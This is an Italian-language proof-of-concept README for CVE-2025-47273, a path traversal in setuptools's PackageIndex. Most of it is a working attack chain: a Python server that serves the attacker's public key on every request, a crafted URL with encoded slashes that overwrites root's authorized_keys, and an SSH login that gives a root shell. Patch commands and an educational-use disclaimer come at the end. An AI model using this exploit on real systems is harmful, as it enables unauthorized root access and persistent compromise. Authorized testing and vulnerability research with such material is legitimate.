
CVE-2025-47273 — setuptools path traversal PoC
Proof-of-concept di exploit per una vulnerabilità di path traversal in Python setuptools < 78.1.1.
Abusando della funzione _download_url del componente PackageIndex, un attaccante può scrivere file arbitrari in qualsiasi posizione del filesystem — con i privilegi del processo che esegue setuptools.
| Campo | Dettaglio |
|---|---|
| 🎯 Target | Python setuptools < 78.1.1 |
| 🐛 Classe di Bug | Path Traversal (CWE-22) |
| 💥 Impatto | Scrittura arbitraria di file |
| 📍 Vettore d'Attacco | URL di indice di pacchetto malevolo |
| 🔍 Causa Principale | os.path.join() scarta tmpdir quando il secondo argomento inizia con / |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex con un URL controllato dall'utente# Copia la tua chiave pubblica nella directory corrente per servirla
cp ~/.ssh/id_rsa.pub authorized_keys
Questo server risponde a qualsiasi richiesta GET con la tua chiave pubblica — indipendentemente dal percorso.
setuptools richiederà il percorso /USER/.ssh/authorized_keys ma riceverà il contenuto della tua chiave.
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
Nessuna password. Shell root diretta. 🔑
La versione 78.1.1 risolve il problema.
| Gestore Pacchetti | Comando |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu | sudo apt upgrade python3-setuptools |
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ Manuale | setuptools releases |
Questo codice Proof of Concept (PoC) è fornito esclusivamente a scopi educativi e di penetration testing autorizzato.